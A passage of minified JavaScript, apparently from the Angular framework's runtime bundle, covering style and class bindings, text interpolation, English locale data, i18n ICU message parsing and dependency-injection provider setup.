n=cu.textEnd;let r=cu.key=fu(t,e,n);return n===r?-1:(r=cu.keyEnd=function(t,e,n){let r;for(;e<n&&(45===(r=t.charCodeAt(e))||95===r||(-33&r)>=65&&(-33&r)<=90||r>=48&&r<=57);)e++;return e}(t,r,n),r=gu(t,r,n),r=cu.value=fu(t,r,n),r=cu.valueEnd=function(t,e,n){let r=-1,i=-1,o=-1,s=e,a=s;for(;s<n;){const c=t.charCodeAt(s++);if(59===c)return a;34===c||39===c?a=s=mu(t,c,s,n):e===s-4&&85===o&&82===i&&76===r&&40===c?a=s=mu(t,41,s,n):c>32&&(a=s),o=i,i=r,r=-33&c}return a}(t,r,n),gu(t,r,n))}function pu(t){cu.key=0,cu.keyEnd=0,cu.value=0,cu.valueEnd=0,cu.textEnd=t.length}function fu(t,e,n){for(;e<n&&t.charCodeAt(e)<=32;)e++;return e}function gu(t,e,n,r){return(e=fu(t,e,n))<n&&e++,e}function mu(t,e,n,r){let i=-1,o=n;for(;o<r;){const n=t.charCodeAt(o++);if(n==e&&92!==i)return o;i=92==n&&92===i?0:n}throw new Error}function yu(t,e,n){return xu(t,e,n,!1),yu}function bu(t,e){return xu(t,e,null,!0),bu}function vu(t){Pu(Tu,_u,t,!1)}function _u(t,e){for(let n=function(t){return pu(t),hu(t,fu(t,0,cu.textEnd))}(e);n>=0;n=hu(e,n))Tu(t,lu(e),uu(e))}function Cu(t){Pu(Xn,wu,t,!0)}function wu(t,e){for(let n=function(t){return pu(t),du(t,fu(t,0,cu.textEnd))}(e);n>=0;n=du(e,n))Xn(t,lu(e),!0)}function xu(t,e,n,r){const i=re(),o=ie(),s=be(2);o.firstUpdatePass&&Mu(o,t,s,r),e!==gs&&Pc(i,s,e)&&Iu(o,o.data[Ne()],i,i[11],t,i[s+1]=function(t,e){return null==t||("string"==typeof e?t+=e:"object"==typeof t&&(t=h(Yr(t)))),t}(e,n),r,s)}function Pu(t,e,n,r){const i=ie(),o=be(2);i.firstUpdatePass&&Mu(i,null,o,r);const s=re();if(n!==gs&&Pc(s,o,n)){const a=i.data[Ne()];if(Du(a,r)&&!Su(i,o)){let t=r?a.classesWithoutHost:a.stylesWithoutHost;null!==t&&(n=p(t,n||"")),Il(i,a,s,n,r)}else!function(t,e,n,r,i,o,s,a){i===gs&&(i=$);let c=0,l=0,u=0<i.length?i[0]:null,d=0<o.length?o[0]:null;for(;null!==u||null!==d;){const h=c<i.length?i[c+1]:void 0,p=l<o.length?o[l+1]:void 0;let f,g=null;u===d?(c+=2,l+=2,h!==p&&(g=d,f=p)):null===d||null!==u&&u<d?(c+=2,g=u):(l+=2,g=d,f=p),null!==g&&Iu(t,e,n,r,g,f,s,a),u=c<i.length?i[c]:null,d=l<o.length?o[l]:null}}(i,a,s,s[11],s[o+1],s[o+1]=function(t,e,n){if(null==n||""===n)return $;const r=[],i=Yr(n);if(Array.isArray(i))for(let o=0;o<i.length;o++)t(r,i[o],!0);else if("object"==typeof i)for(const o in i)i.hasOwnProperty(o)&&t(r,o,i[o]);else"string"==typeof i&&e(r,i);return r}(t,e,n),r,o)}}function Su(t,e){return e>=t.expandoStartIndex}function Mu(t,e,n,r){const i=t.data;if(null===i[n+1]){const o=i[Ne()],s=Su(t,n);Du(o,r)&&null===e&&!s&&(e=!1),e=function(t,e,n,r){const i=we(t);let o=r?e.residualClasses:e.residualStyles;if(null===i)0===(r?e.classBindings:e.styleBindings)&&(n=Eu(n=Ou(null,t,e,n,r),e.attrs,r),o=null);else{const s=e.directiveStylingLast;if(-1===s||t[s]!==i)if(n=Ou(i,t,e,n,r),null===o){let n=function(t,e,n){const r=n?e.classBindings:e.styleBindings;if(0!==Cs(r))return t[vs(r)]}(t,e,r);void 0!==n&&Array.isArray(n)&&(n=Ou(null,t,e,n[1],r),n=Eu(n,e.attrs,r),function(t,e,n,r){t[vs(n?e.classBindings:e.styleBindings)]=r}(t,e,r,n))}else o=function(t,e,n){let r;const i=e.directiveEnd;for(let o=1+e.directiveStylingLast;o<i;o++)r=Eu(r,t[o].hostAttrs,n);return Eu(r,e.attrs,n)}(t,e,r)}return void 0!==o&&(r?e.residualClasses=o:e.residualStyles=o),n}(i,o,e,r),function(t,e,n,r,i,o){let s=o?e.classBindings:e.styleBindings,a=vs(s),c=Cs(s);t[r]=n;let l,u=!1;if(Array.isArray(n)){const t=n;l=t[1],(null===l||Yn(t,l)>0)&&(u=!0)}else l=n;if(i)if(0!==c){const e=vs(t[a+1]);t[r+1]=bs(e,a),0!==e&&(t[e+1]=ws(t[e+1],r)),t[a+1]=function(t,e){return 131071&t|e<<17}(t[a+1],r)}else t[r+1]=bs(a,0),0!==a&&(t[a+1]=ws(t[a+1],r)),a=r;else t[r+1]=bs(c,0),0===a?a=r:t[c+1]=ws(t[c+1],r),c=r;u&&(t[r+1]=_s(t[r+1])),su(t,l,r,!0),su(t,l,r,!1),function(t,e,n,r,i){const o=i?t.residualClasses:t.residualStyles;null!=o&&"string"==typeof e&&Yn(o,e)>=0&&(n[r+1]=xs(n[r+1]))}(e,l,t,r,o),s=bs(a,c),o?e.classBindings=s:e.styleBindings=s}(i,o,e,n,s,r)}}function Ou(t,e,n,r,i){let o=null;const s=n.directiveEnd;let a=n.directiveStylingLast;for(-1===a?a=n.directiveStart:a++;a<s&&(o=e[a],r=Eu(r,o.hostAttrs,i),o!==t);)a++;return null!==t&&(n.directiveStylingLast=a),r}function Eu(t,e,n){const r=n?1:2;let i=-1;if(null!==e)for(let o=0;o<e.length;o++){const s=e[o];"number"==typeof s?i=s:i===r&&(Array.isArray(t)||(t=void 0===t?[]:["",t]),Xn(t,s,!!n||e[++o]))}return void 0===t?null:t}function Tu(t,e,n){Xn(t,e,Yr(n))}function Iu(t,e,n,r,i,o,s,a){if(!(3&e.type))return;const c=t.data,l=c[a+1];Au(function(t){return 1==(1&t)}(l)?ku(c,e,n,i,Cs(l),s):void 0)||(Au(o)||function(t){return 2==(2&t)}(l)&&(o=ku(c,null,n,i,a,s)),function(t,e,n,r,i){const o=Bt(t);if(e)i?o?t.addClass(n,r):n.classList.add(r):o?t.removeClass(n,r):n.classList.remove(r);else{let e=-1===r.indexOf("-")?void 0:vo.DashCase;if(null==i)o?t.removeStyle(n,r,e):n.style.removeProperty(r);else{const s="string"==typeof i&&i.endsWith("!important");s&&(i=i.slice(0,-10),e|=vo.Important),o?t.setStyle(n,r,i,e):n.style.setProperty(r,i,s?"important":"")}}}(r,s,Gt(Ne(),n),i,o))}function ku(t,e,n,r,i,o){const s=null===e;let a;for(;i>0;){const e=t[i],o=Array.isArray(e),c=o?e[1]:e,l=null===c;let u=n[i+1];u===gs&&(u=l?$:void 0);let d=l?Zn(u,r):c===r?u:void 0;if(o&&!Au(d)&&(d=Zn(e,r)),Au(d)&&(a=d,s))return a;const h=t[i+1];i=s?vs(h):Cs(h)}if(null!==e){let t=o?e.residualClasses:e.residualStyles;null!=t&&(a=Zn(t,r))}return a}function Au(t){return void 0!==t}function Du(t,e){return 0!=(t.flags&(e?16:32))}function Nu(t,e=""){const n=re(),r=ie(),i=t+20,o=r.firstCreatePass?Os(r,i,1,e,null):r.data[i],s=n[i]=Eo(n[11],e);Ko(r,n,s,o),le(o,!1)}function Ru(t){return Lu("",t,""),Ru}function Lu(t,e,n){const r=re(),i=Ic(r,t,e,n);return i!==gs&&ya(r,Ne(),i),Lu}function ju(t,e,n,r,i){const o=re(),s=kc(o,t,e,n,r,i);return s!==gs&&ya(o,Ne(),s),ju}function Fu(t,e,n,r,i,o,s){const a=re(),c=Ac(a,t,e,n,r,i,o,s);return c!==gs&&ya(a,Ne(),c),Fu}function Vu(t,e,n,r,i,o,s,a,c){const l=re(),u=Dc(l,t,e,n,r,i,o,s,a,c);return u!==gs&&ya(l,Ne(),u),Vu}function Bu(t,e,n,r,i,o,s,a,c,l,u){const d=re(),h=Nc(d,t,e,n,r,i,o,s,a,c,l,u);return h!==gs&&ya(d,Ne(),h),Bu}function Hu(t,e,n,r,i,o,s,a,c,l,u,d,h){const p=re(),f=Rc(p,t,e,n,r,i,o,s,a,c,l,u,d,h);return f!==gs&&ya(p,Ne(),f),Hu}function zu(t,e,n,r,i,o,s,a,c,l,u,d,h,p,f){const g=re(),m=Lc(g,t,e,n,r,i,o,s,a,c,l,u,d,h,p,f);return m!==gs&&ya(g,Ne(),m),zu}function Gu(t,e,n,r,i,o,s,a,c,l,u,d,h,p,f,g,m){const y=re(),b=jc(y,t,e,n,r,i,o,s,a,c,l,u,d,h,p,f,g,m);return b!==gs&&ya(y,Ne(),b),Gu}function Uu(t){const e=re(),n=Tc(e,t);return n!==gs&&ya(e,Ne(),n),Uu}function qu(t,e,n){Pu(Xn,wu,Ic(re(),t,e,n),!0)}function Wu(t,e,n,r,i){Pu(Xn,wu,kc(re(),t,e,n,r,i),!0)}function Ku(t,e,n,r,i,o,s){Pu(Xn,wu,Ac(re(),t,e,n,r,i,o,s),!0)}function $u(t,e,n,r,i,o,s,a,c){Pu(Xn,wu,Dc(re(),t,e,n,r,i,o,s,a,c),!0)}function Qu(t,e,n,r,i,o,s,a,c,l,u){Pu(Xn,wu,Nc(re(),t,e,n,r,i,o,s,a,c,l,u),!0)}function Xu(t,e,n,r,i,o,s,a,c,l,u,d,h){Pu(Xn,wu,Rc(re(),t,e,n,r,i,o,s,a,c,l,u,d,h),!0)}function Zu(t,e,n,r,i,o,s,a,c,l,u,d,h,p,f){Pu(Xn,wu,Lc(re(),t,e,n,r,i,o,s,a,c,l,u,d,h,p,f),!0)}function Yu(t,e,n,r,i,o,s,a,c,l,u,d,h,p,f,g,m){Pu(Xn,wu,jc(re(),t,e,n,r,i,o,s,a,c,l,u,d,h,p,f,g,m),!0)}function Ju(t){Pu(Xn,wu,Tc(re(),t),!0)}function td(t,e,n){vu(Ic(re(),t,e,n))}function ed(t,e,n,r,i){vu(kc(re(),t,e,n,r,i))}function nd(t,e,n,r,i,o,s){vu(Ac(re(),t,e,n,r,i,o,s))}function rd(t,e,n,r,i,o,s,a,c){vu(Dc(re(),t,e,n,r,i,o,s,a,c))}function id(t,e,n,r,i,o,s,a,c,l,u){vu(Nc(re(),t,e,n,r,i,o,s,a,c,l,u))}function od(t,e,n,r,i,o,s,a,c,l,u,d,h){vu(Rc(re(),t,e,n,r,i,o,s,a,c,l,u,d,h))}function sd(t,e,n,r,i,o,s,a,c,l,u,d,h,p,f){vu(Lc(re(),t,e,n,r,i,o,s,a,c,l,u,d,h,p,f))}function ad(t,e,n,r,i,o,s,a,c,l,u,d,h,p,f,g,m){vu(jc(re(),t,e,n,r,i,o,s,a,c,l,u,d,h,p,f,g,m))}function cd(t){vu(Tc(re(),t))}function ld(t,e,n,r,i){return xu(t,Ic(re(),e,n,r),i,!1),ld}function ud(t,e,n,r,i,o,s){return xu(t,kc(re(),e,n,r,i,o),s,!1),ud}function dd(t,e,n,r,i,o,s,a,c){return xu(t,Ac(re(),e,n,r,i,o,s,a),c,!1),dd}function hd(t,e,n,r,i,o,s,a,c,l,u){return xu(t,Dc(re(),e,n,r,i,o,s,a,c,l),u,!1),hd}function pd(t,e,n,r,i,o,s,a,c,l,u,d,h){return xu(t,Nc(re(),e,n,r,i,o,s,a,c,l,u,d),h,!1),pd}function fd(t,e,n,r,i,o,s,a,c,l,u,d,h,p,f){return xu(t,Rc(re(),e,n,r,i,o,s,a,c,l,u,d,h,p),f,!1),fd}function gd(t,e,n,r,i,o,s,a,c,l,u,d,h,p,f,g,m){return xu(t,Lc(re(),e,n,r,i,o,s,a,c,l,u,d,h,p,f,g),m,!1),gd}function md(t,e,n,r,i,o,s,a,c,l,u,d,h,p,f,g,m,y,b){return xu(t,jc(re(),e,n,r,i,o,s,a,c,l,u,d,h,p,f,g,m,y),b,!1),md}function yd(t,e,n){return xu(t,Tc(re(),e),n,!1),yd}function bd(t,e,n){const r=re();return Pc(r,ye(),e)&&zs(ie(),Le(),r,t,e,r[11],n,!0),bd}function vd(t,e,n){const r=re();if(Pc(r,ye(),e)){const i=ie(),o=Le();zs(i,o,r,t,e,fa(we(i.data),o,r),n,!0)}return vd}const _d=void 0;var Cd=["en",[["a","p"],["AM","PM"],_d],[["AM","PM"],_d,_d],[["S","M","T","W","T","F","S"],["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],["Su","Mo","Tu","We","Th","Fr","Sa"]],_d,[["J","F","M","A","M","J","J","A","S","O","N","D"],["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],["January","February","March","April","May","June","July","August","September","October","November","December"]],_d,[["B","A"],["BC","AD"],["Before Christ","Anno Domini"]],0,[6,0],["M/d/yy","MMM d, y","MMMM d, y","EEEE, MMMM d, y"],["h:mm a","h:mm:ss a","h:mm:ss a z","h:mm:ss a zzzz"],["{1}, {0}",_d,"{1} 'at' {0}",_d],[".",",",";","%","+","-","E","\xd7","\u2030","\u221e","NaN",":"],["#,##0.###","#,##0%","\xa4#,##0.00","#E0"],"USD","$","US Dollar",{},"ltr",function(t){const e=Math.floor(Math.abs(t)),n=t.toString().replace(/^[^.]*\.?/,"").length;return 1===e&&0===n?1:5}];let wd={};function xd(t,e,n){"string"!=typeof e&&(n=e,e=t[Td.LocaleId]),e=e.toLowerCase().replace(/_/g,"-"),wd[e]=t,n&&(wd[e][Td.ExtraData]=n)}function Pd(t){const e=function(t){return t.toLowerCase().replace(/_/g,"-")}(t);let n=Od(e);if(n)return n;const r=e.split("-")[0];if(n=Od(r),n)return n;if("en"===r)return Cd;throw new Error(`Missing locale data for the locale "${t}".`)}function Sd(t){return Pd(t)[Td.CurrencyCode]||null}function Md(t){return Pd(t)[Td.PluralCase]}function Od(t){return t in wd||(wd[t]=W.ng&&W.ng.common&&W.ng.common.locales&&W.ng.common.locales[t]),wd[t]}function Ed(){wd={}}var Td=(()=>((Td=Td||{})[Td.LocaleId=0]="LocaleId",Td[Td.DayPeriodsFormat=1]="DayPeriodsFormat",Td[Td.DayPeriodsStandalone=2]="DayPeriodsStandalone",Td[Td.DaysFormat=3]="DaysFormat",Td[Td.DaysStandalone=4]="DaysStandalone",Td[Td.MonthsFormat=5]="MonthsFormat",Td[Td.MonthsStandalone=6]="MonthsStandalone",Td[Td.Eras=7]="Eras",Td[Td.FirstDayOfWeek=8]="FirstDayOfWeek",Td[Td.WeekendRange=9]="WeekendRange",Td[Td.DateFormat=10]="DateFormat",Td[Td.TimeFormat=11]="TimeFormat",Td[Td.DateTimeFormat=12]="DateTimeFormat",Td[Td.NumberSymbols=13]="NumberSymbols",Td[Td.NumberFormats=14]="NumberFormats",Td[Td.CurrencyCode=15]="CurrencyCode",Td[Td.CurrencySymbol=16]="CurrencySymbol",Td[Td.CurrencyName=17]="CurrencyName",Td[Td.Currencies=18]="Currencies",Td[Td.Directionality=19]="Directionality",Td[Td.PluralCase=20]="PluralCase",Td[Td.ExtraData=21]="ExtraData",Td))();const Id=["zero","one","two","few","many"],kd="en-US",Ad="USD",Dd={marker:"element"},Nd={marker:"ICU"};var Rd=(()=>((Rd=Rd||{})[Rd.SHIFT=2]="SHIFT",Rd[Rd.APPEND_EAGERLY=1]="APPEND_EAGERLY",Rd[Rd.COMMENT=2]="COMMENT",Rd))();let Ld=kd;function jd(t){(function(t,e){null==t&&w(e,t,null,"!=")})(t,"Expected localeId to be defined"),"string"==typeof t&&(Ld=t.toLowerCase().replace(/_/g,"-"))}function Fd(t,e,n){const r=e.insertBeforeIndex,i=Array.isArray(r)?r[0]:r;return null===i?Go(t,0,n):zt(n[i])}function Vd(t,e,n,r,i){const o=e.insertBeforeIndex;if(Array.isArray(o)){let s=r,a=null;if(3&e.type||(a=s,s=i),null!==s&&0==(2&e.flags))for(let e=1;e<o.length;e++)Fo(t,s,n[o[e]],a,!1)}}function Bd(t,e){if(t.push(e),t.length>1)for(let n=t.length-2;n>=0;n--){const r=t[n];Hd(r)||zd(r,e)&&null===Gd(r)&&Ud(r,e.index)}}function Hd(t){return!(64&t.type)}function zd(t,e){return Hd(e)||t.index>e.index}function Gd(t){const e=t.insertBeforeIndex;return Array.isArray(e)?e[0]:e}function Ud(t,e){const n=t.insertBeforeIndex;Array.isArray(n)?n[0]=e:(Wo(Fd,Vd),t.insertBeforeIndex=e)}function qd(t,e){const n=t.data[e];return null===n||"string"==typeof n?null:n.hasOwnProperty("currentCaseLViewIndex")?n:n.value}function Wd(t,e,n){const r=Es(t,n,64,null,null);return Bd(e,r),r}function Kd(t,e){const n=e[t.currentCaseLViewIndex];return null===n?n:n<0?~n:n}function $d(t){return t>>>17}function Qd(t){return(131070&t)>>>1}let Xd=0,Zd=0;function Yd(t,e,n,r){const i=n[11];let o,s=null;for(let a=0;a<e.length;a++){const c=e[a];if("string"==typeof c){const t=e[++a];null===n[t]&&(n[t]=Eo(i,c))}else if("number"==typeof c)switch(1&c){case 0:const l=$d(c);let u,d;if(null===s&&(s=l,o=Ho(i,r)),l===s?(u=r,d=o):(u=null,d=zt(n[l])),null!==d){const e=Qd(c);Fo(i,d,n[e],u,!1);const r=qd(t,e);if(null!==r&&"object"==typeof r){const e=Kd(r,n);null!==e&&Yd(t,r.create[e],n,n[r.anchorIdx])}}break;case 1:const h=e[++a],p=e[++a];Ys(i,Gt(c>>>1,n),null,null,h,p,null);break;default:throw new Error(`Unable to determine the type of mutate operation for "${c}"`)}else switch(c){case Nd:const t=e[++a],r=e[++a];null===n[r]&&qi(n[r]=Io(i,t),n);break;case Dd:const o=e[++a],s=e[++a];null===n[s]&&qi(n[s]=ko(i,o,null),n)}}}function Jd(t,e,n,r,i){for(let o=0;o<n.length;o++){const s=n[o],a=n[++o];if(s&i){let i="";for(let s=o+1;s<=o+a;s++){const o=n[s];if("string"==typeof o)i+=o;else if("number"==typeof o)if(o<0)i+=v(e[r-o]);else{const a=o>>>2;switch(3&o){case 1:const o=n[++s],c=n[++s],l=t.data[a];"string"==typeof l?Ys(e[11],e[a],null,l,o,i,c):zs(t,l,e,o,i,e[11],c,!1);break;case 0:const u=e[a];null!==u&&To(e[11],u,i);break;case 2:eh(t,qd(t,a),e,i);break;case 3:th(t,qd(t,a),r,e)}}}}else{const i=n[o+1];if(i>0&&3==(3&i)){const n=qd(t,i>>>2);e[n.currentCaseLViewIndex]<0&&th(t,n,r,e)}}o+=a}}function th(t,e,n,r){let i=r[e.currentCaseLViewIndex];if(null!==i){let o=Xd;i<0&&(i=r[e.currentCaseLViewIndex]=~i,o=-1),Jd(t,r,e.update[i],n,o)}}function eh(t,e,n,r){const i=function(t,e){let n=t.cases.indexOf(e);if(-1===n)switch(t.type){case 1:{const r=function(t,e){const n=Md(e)(parseInt(t,10)),r=Id[n];return void 0!==r?r:"other"}(e,Ld);n=t.cases.indexOf(r),-1===n&&"other"!==r&&(n=t.cases.indexOf("other"));break}case 0:n=t.cases.indexOf("other")}return-1===n?null:n}(e,r);if(Kd(e,n)!==i&&(nh(t,e,n),n[e.currentCaseLViewIndex]=null===i?null:~i,null!==i)){const r=n[e.anchorIdx];r&&Yd(t,e.create[i],n,r)}}function nh(t,e,n){let r=Kd(e,n);if(null!==r){const i=e.remove[r];for(let e=0;e<i.length;e++){const r=i[e];if(r>0){const t=Gt(r,n);null!==t&&Zo(n[11],t)}else nh(t,qd(t,~r),n)}}}function rh(){const t=[];let e,n,r=-1;function i(t,e){r=0;const i=Kd(t,e);n=null!==i?t.remove[i]:$}function o(){if(r<n.length){const s=n[r++];return s>0?e[s]:(t.push(r,n),i(e[1].data[~s],e),o())}return 0===t.length?null:(n=t.pop(),r=t.pop(),o())}return function(n,r){for(e=r;t.length;)t.pop();return i(n.value,r),o}}const ih=/\ufffd(\d+):?\d*\ufffd/gi,oh=/({\s*\ufffd\d+:?\d*\ufffd\s*,\s*\S{6}\s*,[\s\S]*})/gi,sh=/\ufffd(\d+)\ufffd/,ah=/^\s*(\ufffd\d+:?\d*\ufffd)\s*,\s*(select|plural)\s*,/,ch=/\ufffd\/?\*(\d+:\d+)\ufffd/gi,lh=/\ufffd(\/?[#*]\d+):?\d*\ufffd/gi,uh=/\uE500/g;function dh(t,e,n,r,i,o,s){const a=Ts(t,r,1,null);let c=a<<Rd.SHIFT,l=ce();e===l&&(l=null),null===l&&(c|=Rd.APPEND_EAGERLY),s&&(c|=Rd.COMMENT,function(t){void 0===_o&&(_o=t())}(rh)),i.push(c,null===o?"":o);const u=Es(t,a,s?32:1,null===o?"":o,null);Bd(n,u);const d=u.index;return le(u,!1),null!==l&&e!==l&&function(t,e){let n=t.insertBeforeIndex;null===n?(Wo(Fd,Vd),n=t.insertBeforeIndex=[null,e]):(function(t,e,n){t!=e&&w(n,t,e,"==")}(Array.isArray(n),!0,"Expecting array here"),n.push(e))}(l,d),u}function hh(t,e,n,r,i,o,s){const a=s.match(ih),c=dh(t,e,n,o,r,a?null:s,!1);a&&ph(i,s,c.index,null,0,null)}function ph(t,e,n,r,i,o){const s=t.length,a=s+1;t.push(null,null);const c=s+2,l=e.split(ih);let u=0;for(let d=0;d<l.length;d++){const e=l[d];if(1&d){const n=i+parseInt(e,10);t.push(-1-n),u|=gh(n)}else""!==e&&t.push(e)}return t.push(n<<2|(r?1:0)),r&&t.push(r,o),t[s]=u,t[a]=t.length-c,u}function fh(t){let e=0;for(let n=0;n<t.length;n++){const r=t[n];"number"==typeof r&&r<0&&e++}return e}function gh(t){return 1<<Math.min(t,31)}function mh(t){let e,n,r="",i=0,o=!1;for(;null!==(e=ch.exec(t));)o?e[0]===`\ufffd/*${n}\ufffd`&&(i=e.index,o=!1):(r+=t.substring(i,e.index+e[0].length),n=e[1],o=!0);return r+=t.substr(i),r}function yh(t,e,n,r,i,o){let s=0;const a={type:i.type,currentCaseLViewIndex:Ts(t,e,1,null),anchorIdx:o,cases:[],create:[],remove:[],update:[]};(function(t,e,n){t.push(gh(e.mainBinding),2,-1-e.mainBinding,n<<2|2)})(n,i,o),function(t,e,n){const r=t.data[e];null===r?t.data[e]=n:r.value=n}(t,o,a);const c=i.values;for(let l=0;l<c.length;l++){const o=c[l],u=[];for(let t=0;t<o.length;t++){const e=o[t];if("string"!=typeof e){const n=u.push(e)-1;o[t]=`\x3c!--\ufffd${n}\ufffd--\x3e`}}s=_h(t,a,e,n,r,i.cases[l],o.join(""),u)|s}s&&function(t,e,n){t.push(e,1,n<<2|3)}(n,s,o)}function bh(t){const e=[],n=[];let r=1,i=0;const o=vh(t=t.replace(ah,function(t,e,n){return r="select"===n?0:1,i=parseInt(e.substr(1),10),""}));for(let s=0;s<o.length;){let t=o[s++].trim();1===r&&(t=t.replace(/\s*(?:=)?(\w+)\s*/,"$1")),t.length&&e.push(t);const i=vh(o[s++]);e.length>n.length&&n.push(i)}return{type:r,mainBinding:i,cases:e,values:n}}function vh(t){if(!t)return[];let e=0;const n=[],r=[],i=/[{}]/g;let o;for(i.lastIndex=0;o=i.exec(t);){const i=o.index;if("}"==o[0]){if(n.pop(),0==n.length){const n=t.substring(e,i);ah.test(n)?r.push(bh(n)):r.push(n),e=i+1}}else{if(0==n.length){const n=t.substring(e,i);r.push(n),e=i+1}n.push("{")}}const s=t.substring(e);return r.push(s),r}function _h(t,e,n,r,i,o,s,a){const c=[],l=[],u=[];e.cases.push(o),e.create.push(c),e.remove.push(l),e.update.push(u);const d=si(Vt()).getInertBodyElement(s),h=Ti(d)||d;return h?Ch(t,e,n,r,c,l,u,h,i,a,0):0}function Ch(t,e,n,r,i,o,s,a,c,l,u){let d=0,h=a.firstChild;for(;h;){const a=Ts(t,n,1,null);switch(h.nodeType){case Node.ELEMENT_NODE:const p=h,f=p.tagName.toLowerCase();if(bi.hasOwnProperty(f)){Ph(i,Dd,f,c,a),t.data[a]=f;const g=p.attributes;for(let t=0;t<g.length;t++){const e=g.item(t),n=e.name.toLowerCase();e.value.match(ih)?Ci.hasOwnProperty(n)&&ph(s,e.value,a,e.name,0,vi[n]?di:_i[n]?hi:null):Sh(i,a,e)}d=Ch(t,e,n,r,i,o,s,h,a,l,u+1)|d,wh(o,a,u)}break;case Node.TEXT_NODE:const g=h.textContent||"",m=g.match(ih);Ph(i,null,m?"":g,c,a),wh(o,a,u),m&&(d=ph(s,g,a,null,0,null)|d);break;case Node.COMMENT_NODE:const y=sh.exec(h.textContent||"");if(y){const e=l[parseInt(y[1],10)];Ph(i,Nd,"",c,a),yh(t,n,r,c,e,a),xh(o,a,u)}}h=h.nextSibling}return d}function wh(t,e,n){0===n&&t.push(e)}function xh(t,e,n){0===n&&(t.push(~e),t.push(e))}function Ph(t,e,n,r,i){null!==e&&t.push(e),t.push(n,i,function(t,e,n){return 0|e<<17|n<<1}(0,r,i))}function Sh(t,e,n){t.push(e<<1|1,n.name,n.value)}const Mh=/\[(\ufffd.+?\ufffd?)\]/,Oh=/\[(\ufffd.+?\ufffd?)\]|(\ufffd\/?\*\d+:\d+\ufffd)/g,Eh=/({\s*)(VAR_(PLURAL|SELECT)(_\d+)?)(\s*,)/g,Th=/{([A-Z0-9_]+)}/g,Ih=/\ufffdI18N_EXP_(ICU(_\d+)?)\ufffd/g,kh=/\/\*/,Ah=/\d+\:(\d+)/;function Dh(t,e={}){let n=t;if(Mh.test(t)){const t={},e=[0];n=n.replace(Oh,(n,r,i)=>{const o=r||i,s=t[o]||[];if(s.length||(o.split("|").forEach(t=>{const e=t.match(Ah),n=e?parseInt(e[1],10):0,r=kh.test(t);s.push([n,r,t])}),t[o]=s),!s.length)throw new Error(`i18n postprocess: unmatched placeholder - ${o}`);const a=e[e.length-1];let c=0;for(let t=0;t<s.length;t++)if(s[t][0]===a){c=t;break}const[l,u,d]=s[c];return u?e.pop():a!==l&&e.push(l),s.splice(c,1),d})}return Object.keys(e).length&&(n=n.replace(Eh,(t,n,r,i,o,s)=>e.hasOwnProperty(r)?`${n}${e[r]}${s}`:t),n=n.replace(Th,(t,n)=>e.hasOwnProperty(n)?e[n]:t),n=n.replace(Ih,(t,n)=>{if(e.hasOwnProperty(n)){const r=e[n];if(!r.length)throw new Error(`i18n postprocess: unmatched ICU - ${t} with key: ${n}`);return r.shift()}return t})),n}function Nh(t,e,n=-1){const r=ie(),i=re(),o=20+t,s=Xt(r.consts,e),a=ce();r.firstCreatePass&&function(t,e,n,r,i,o){const s=ce(),a=[],c=[],l=[[]],u=function(t){return t.replace(uh," ")}(i=function(t,e){if(function(t){return-1===t}(e))return mh(t);{const n=t.indexOf(`:${e}\ufffd`)+2+e.toString().length,r=t.search(new RegExp(`\ufffd\\/\\*\\d+:${e}\ufffd`));return mh(t.substring(n,r))}}(i,o)).split(lh);for(let d=0;d<u.length;d++){let r=u[d];if(0==(1&d)){const o=vh(r);for(let r=0;r<o.length;r++){let u=o[r];if(0==(1&r)){const e=u;""!==e&&hh(t,s,l[0],a,c,n,e)}else{const r=u;if("object"!=typeof r)throw new Error(`Unable to parse ICU expression in "${i}" message.`);yh(t,n,c,e,r,dh(t,s,l[0],n,a,"",!0).index)}}}else{const e=47===r.charCodeAt(0),n=(r.charCodeAt(e?1:0),20+Number.parseInt(r.substring(e?2:1)));if(e)l.shift(),le(ce(),!1);else{const e=Wd(t,l[0],n);l.unshift([]),le(e,!0)}}}t.data[r]={create:a,update:c}}(r,null===a?0:a.index,i,o,s,n);const c=r.data[o],l=jo(r,a===i[6]?null:a,i);(function(t,e,n,r){const i=t[11];for(let o=0;o<e.length;o++){const s=e[o++],a=e[o],c=(s&Rd.COMMENT)===Rd.COMMENT,l=(s&Rd.APPEND_EAGERLY)===Rd.APPEND_EAGERLY,u=s>>>Rd.SHIFT;let d=t[u];null===d&&(d=t[u]=c?i.createComment(a):Eo(i,a)),l&&null!==n&&Fo(i,n,d,r,!1)}})(i,c.create,l,a&&8&a.type?i[a.index]:null),ve(!0)}function Rh(){ve(!1)}function Lh(t,e,n){Nh(t,e,n),Rh()}function jh(t,e){const n=ie();!function(t,e,n){const r=se().index,i=[];if(t.firstCreatePass&&null===t.data[e]){for(let t=0;t<n.length;t+=2){const e=n[t],o=n[t+1];if(""!==o){if(oh.test(o))throw new Error(`ICU expressions are not supported in attributes. Message: "${o}".`);ph(i,o,r,e,fh(i),null)}}t.data[e]=i}}(n,t+20,Xt(n.consts,e))}function Fh(t){return function(t){t&&(Xd|=1<<Math.min(Zd,31)),Zd++}(Pc(re(),ye(),t)),Fh}function Vh(t){!function(t,e,n){if(Zd>0){const r=t.data[n];Jd(t,e,Array.isArray(r)?r:r.update,ge()-Zd-1,Xd)}Xd=0,Zd=0}(ie(),re(),t+20)}function Bh(t,e={}){return Dh(t,e)}function Hh(t,e,n,r,i){if(t=m(t),Array.isArray(t))for(let o=0;o<t.length;o++)Hh(t[o],e,n,r,i);else{const o=ie(),s=re();let a=Ra(t)?t:m(t.provide),c=Aa(t);const l=se(),u=1048575&l.providerIndexes,d=l.directiveStart,h=l.providerIndexes>>20;if(Ra(t)||!t.multi){const r=new We(c,i,Ol),p=Uh(a,e,i?u:u+h,d);-1===p?(ln(on(l,s),o,a),zh(o,t,e.length),e.push(a),l.directiveStart++,l.directiveEnd++,i&&(l.providerIndexes+=1048576),n.push(r),s.push(r)):(n[p]=r,s[p]=r)}else{const p=Uh(a,e,u+h,d),f=Uh(a,e,u,u+h),g=p>=0&&n[p],m=f>=0&&n[f];if(i&&!m||!i&&!g){ln(on(l,s),o,a);const u=function(t,e,n,r,i){const o=new We(t,n,Ol);return o.multi=[],o.index=e,o.componentProviders=0,Gh(o,i,r&&!n),o}(i?Wh:qh,n.length,i,r,c);!i&&m&&(n[f].providerFactory=u),zh(o,t,e.length,0),e.push(a),l.directiveStart++,l.directiveEnd++,i&&(l.providerIndexes+=1048576),n.push(u),s.push(u)}else 